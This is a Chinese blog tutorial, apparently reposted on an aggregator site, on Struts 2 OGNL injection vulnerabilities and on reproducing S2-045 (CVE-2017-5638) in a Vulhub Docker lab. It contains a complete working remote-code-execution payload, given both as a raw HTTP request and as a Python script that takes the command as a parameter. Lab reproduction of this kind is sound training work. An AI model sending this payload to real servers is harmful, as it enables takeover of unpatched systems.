Struts 2 s2-045

news/2026/1/20 11:17:14/文章来源:https://www.cnblogs.com/anxuwu/p/19505584

Struts 2 是 Java Web 开发历史上非常著名的一个框架,但也因为其频发的 远程代码执行 (RCE) 漏洞而“臭名昭著”。这主要归咎于其核心设计中的 OGNL (Object-Graph Navigation Language) 表达式引擎。


一、 核心原理:为什么 Struts 2 总是有漏洞?

Struts 2 漏洞的根源大多指向同一个机制:OGNL 表达式注入

1. 什么是 OGNL?

OGNL 是一种功能强大的表达式语言,用于获取和设置 Java 对象的属性。在 Struts 2 中,它主要用于将 HTTP 请求参数(用户输入)绑定到 Java 对象(Action)中。

2. 漏洞成因

Struts 2 的某些组件(拦截器、标签库等)在处理用户输入时,错误地将用户输入的字符串当成了 OGNL 表达式来执行。

  • 正常流程: 用户输入 username=admin -> 框架将其赋值给 action.username
  • 攻击流程: 用户输入 username=%{1+1} -> 框架解析 OGNL -> 执行 1+1 -> 返回 2
  • 恶意流程: 用户输入包含了调用 Runtime.getRuntime().exec("whoami") 的 OGNL 表达式 -> 框架执行命令 -> 服务器被控制。

二、 历史上著名的 Struts 2 漏洞

Struts 2 的漏洞通常以 "S2-xxx" 命名。以下是几个“核弹级”漏洞:

漏洞编号 CVE 编号 触发位置 简述
S2-045 CVE-2017-5638 HTTP Header (Content-Type) 影响最大。利用 Jakarta Multipart 解析器处理文件上传时的异常,在 Content-Type 中注入 OGNL 实现 RCE。
S2-016 CVE-2013-2251 URL 参数 (前缀) DefaultActionMapper 处理 action:redirect: 前缀时未过滤,导致 OGNL 执行。
S2-057 CVE-2018-11776 URL Namespace 当 Action 定义未设置 namespace 且使用了通配符时,攻击者可在 URL 中注入 OGNL。
S2-061 CVE-2020-17530 HTML 标签属性 S2-059 的绕过版本,OGNL 强制求值导致 RCE。

三、 经典案例详解与复现:S2-045 (CVE-2017-5638)

这是 Struts 2 历史上影响范围最广的漏洞之一(曾导致 Equifax 数据泄露事件)。

1. 漏洞原理

Struts 2 使用 Jakarta Multipart parser 解析文件上传请求。

  1. 攻击者发送一个文件上传请求,但在 HTTP Header 的 Content-Type 字段中放入恶意的 OGNL 表达式。
  2. 由于 Content-Type 格式不合法,解析器抛出异常。
  3. Struts 2 捕获异常,并试图生成错误信息。在构建错误信息(LocalizedTextUtil)的过程中,它错误地执行了包含在 Content-Type 中的 OGNL 表达式

2. 复现环境搭建 (推荐使用 Vulhub)

为了安全和便捷,建议使用 Docker 搭建靶场,不要在物理机或生产环境测试。

前提: 安装好 Docker 和 Docker-compose。

  1. 下载 Vulhub:

    git clone https://github.com/vulhub/vulhub.git
    cd vulhub/struts2/s2-045
    
  2. 启动环境:

    docker-compose up -d
    
  3. 验证启动:

    访问 http://your-ip:8080,如果看到 Struts 2 的文件上传页面,说明环境启动成功。

3. 复现步骤 (Proof of Concept)

你需要修改 HTTP 请求的 Content-Type 头。可以使用 Burp Suite 或 Python 脚本。

方法 A:使用 Burp Suite

  1. 拦截并抓取一个对该网站的 POST 请求。
  2. 将请求发送到 Repeater。
  3. 修改 Content-Type 头,填入以下 Payload(Payload 需要经过特殊构造以绕过安全限制):

Payload 结构解析(简化版):

Plaintext

Content-Type: %{(#_='multipart/form-data').(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(@java.lang.Runtime@getRuntime().exec('id'))}

注意:实际生效的 Payload 往往很长,因为需要通过反射修改 OgnlContext 的权限设置,允许访问静态方法。

真实可用的 Payload 示例 (执行 id 命令):

POST / HTTP/1.1
Host: localhost:8080
Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Content-Length: 0
  1. 发送请求
  2. 观察响应。你应该能在 HTTP 响应包中直接看到 id 命令的执行结果(例如 uid=0(root) gid=0(root)...)。

方法 B:使用 Python 脚本

import requestsurl = "http://localhost:8080"
cmd = "whoami"payload = "%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='" + cmd + "').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"headers = {'Content-Type': payload
}try:r = requests.post(url, headers=headers)print("Command Output:\n", r.text)
except Exception as e:print(e)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/1188654.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

合肥市英语雅思培训辅导机构推荐、2026权威出国雅思课程排行榜 - 苏木2025

雅思考试作为全球认可度极高的语言测评体系,其备考过程向来充满挑战。尤其在合肥市瑶海区、庐阳区、蜀山区、包河区、长丰县、肥东县、肥西县、庐江县、巢湖市全域,众多考生面临着提分乏力、技巧匮乏、选课迷茫等核心…

基于PLUS-InVEST模型的生态系统服务多情景智能模拟与土地利用优化、论文写作

生态系统服务作为维系人类福祉的核心支撑,其供给能力与土地利用格局紧密相关。高频次的人类活动导致土地利用快速变化,进而影响生态系统结构功能,加剧服务供给的不确定性。情景分析作为评估生态服务权衡关系的成熟方法,需依托高精…

2026年理化板台面厂家哪家好?五大优质实验室设备供应商推荐,重庆弗莱仕领跑行业! - 深度智识库

随着国家对科研基础设施投入持续加大,实验室建设进入高质量发展阶段。据中国实验室装备协会数据显示,2025年全国实验室家具市场规模突破480亿元,其中理化板台面、全钢实验台、通风柜等核心产品需求年均增长超18%。在…

A 股 Tick 数据解惑:工程落地中的核心价值与实操示例

你在做金融工程相关系统开发或策略回测时,是不是遇到过这样的问题:同一套撮合逻辑、同一个信号生成算法,用分钟 K 线回测的时候,全程顺风顺水,结果也完全符合预期,可一旦切换到 Tick 数据进行验证,怪事就发生了…

2026年天津财产分割律师联系电话推荐:资深专家与专业团队 - 品牌推荐

在面临婚姻关系变动、家庭财产继承或共有财产分割等复杂情况时,寻求一位专业、可靠的财产分割律师是维护自身合法权益的关键一步。特别是在天津这样的大都市,涉及房产、股权、存款等大额资产分割的案件日益增多,法律…

Python Web 开发进阶实战:可持续计算 —— 在 Flask + Vue 中构建碳感知应用(Carbon-Aware Computing)

第一章:为什么软件需要碳感知? 1.1 数字碳足迹现状 全球 ICT 行业碳排放 ≈ 航空业总和(~2-4% 全球排放)数据中心年耗电 > 某些国家全国用电量(如阿根廷)关键洞察: 同一任务在不…

2026 湖州财政局备案财税服务机构口碑推荐榜(行业专精・实力排名) - 品牌智鉴榜

2026 湖州正规财税服务机构推荐重磅出炉!本榜单严选湖州市财政局官方备案的代理记账机构、正规税务师事务所,无备案异常、无行业违规处罚记录,全量符合《代理记账管理办法》合规经营要求。评选以合规资质、行业专精…

2026年优秀的消毒图书杀菌机,臭氧图书杀菌机,图书杀菌机设备厂家采购精选榜单 - 品牌鉴赏师

引言在当今社会,人们对公共卫生和安全的关注度日益提高,尤其是在图书馆等文化场所,图书的消毒杀菌工作显得尤为重要。为了帮助广大采购者挑选到优秀的图书杀菌机设备,我们依据国内相关行业协会公开的数据形成的指南…

飞书联手安克发布首款硬件 AI 录音豆;ElevenLabs 新一轮融资估值或达 110 亿美元丨日报

开发者朋友们大家好:这里是 「RTE 开发者日报」 ,每天和大家一起看新闻、聊八卦。我们的社区编辑团队会整理分享 RTE(Real-Time Engagement) 领域内「有话题的技术」、「有亮点的产品」、「有思考的文章」、「有态…

opencode skills安装使用案例

skills仓库: https://skillsmp.com/zh 安装: 下载skill zip包 拖着zip包到skill命令行,执行帮安装,会默认安装到C:\Users\用户.config\opencode\skills 使用 需要关闭opencode,重启skill才生效

2026严选全年防脱洗发水品牌口碑榜!哪个牌子防脱洗发水效果好又安全?榜首纯草本实力防脱真有用 - 博客万

在追求健康的生活方式和更加稳定的头皮状态时,防脱洗发水已经成为越来越多人日常护理的必备选择。然而,面对市场上五花八门的防脱产品,究竟哪些能真正带来长效改善,保持头皮的稳定呢?通过对市面上热门品牌进行深入…

麒麟安装Qt

1 sudo apt update && sudo apt upgrade -y# 基础编译工具sudo apt install -y build-essential gcc g++ make cmake# Qt依赖库(图形、多媒体等)sudo apt install -y libgl1-mesa-dev libglu1-mesa-dev libx…

合肥市英语雅思培训辅导机构推荐。2026权威出国雅思课程排行榜 - 苏木2025

作为全球认可度极高的英语语言测试,雅思考试已成为合肥学子奔赴海外留学、职场晋升的重要门槛。然而,在合肥瑶海区、庐阳区、蜀山区、包河区、长丰县、肥东县、肥西县、庐江县、巢湖市全域范围内,雅思培训市场鱼龙混…

2026年天津财产分割律所电话推荐:可靠选择与联系要点 - 品牌推荐

在2026年的今天,随着社会经济结构的持续变化与个人财富形态的日益复杂,婚姻家庭关系中的财产分割问题也变得愈加棘手。无论是涉及传统房产、车辆,还是股权、金融资产乃至数字财产,清晰的法律界定与合理的分割方案都…

2026必备!本科生毕业论文神器TOP10测评

2026必备!本科生毕业论文神器TOP10测评 2026年本科生毕业论文工具测评:为何需要这份榜单? 随着高校对学术规范要求的不断提升,本科生在撰写毕业论文时面临的挑战也日益复杂。从文献检索到内容生成,从格式排版到查重检测…

数据驱动创新生态,知识图谱赋能科技成果转化新路径

科易网AI技术转移与科技成果转化研究院 在全球化与数字化转型加速的背景下,科技创新已成为驱动经济高质量发展的重要引擎。然而,科技成果转化效率低下、产学研协同不畅、创新资源匹配失衡等问题,长期制约着创新链与产业链的深度融合。如何打…

2026年常州项目管理软件服务商选哪家?联拓智能软件凭金蝶授权与本地实力出圈 - 博客万

2026年长三角成长型企业项目管理:那些藏不住的痛 当企业从“生存期”迈入“成长型”,项目管理的复杂度呈几何级上升订单多了,流程却碎片化;部门多了,协同却成了“跨山喊话”;成本花了,利润却像“漏了的桶”。艾…

VS Code NumPy 安装教程:环境配置与代码自动提示设置

一、前言:为什么 NumPy 的“安装”总让人反复卡住?在 Python 学习和数据分析的入门阶段,NumPy 几乎是每个人都会接触到的第一批第三方库之一。但现实中,围绕 NumPy 的问题却层出不穷:安装提示成功,却无法使…

2026美白套装哪个好?四款涵盖水乳与精华的不同类型的美白产品鉴赏 - 资讯焦点

去黄提亮美白产品推荐:美白选品的核心误区的是“盲目跟风爆款”——同样一款美白产品,干皮用着卡粉、敏感肌用着泛红、黄黑皮用着没效果,本质是没找准肤质与产品的适配性。本次结合300+不同肤质志愿者28天实测体验、…

数据驱动创新生态,知识图谱重构科技成果转化新路径

科易网AI技术转移与科技成果转化研究院在全球化竞争日益激烈、科技创新成为国家发展核心引擎的今天,如何打破科技成果转化壁垒,构建开放协同的创新生态体系,成为摆在政府、企业、高校院所面前的重要课题。传统科技成果转化模式往往存在信息不…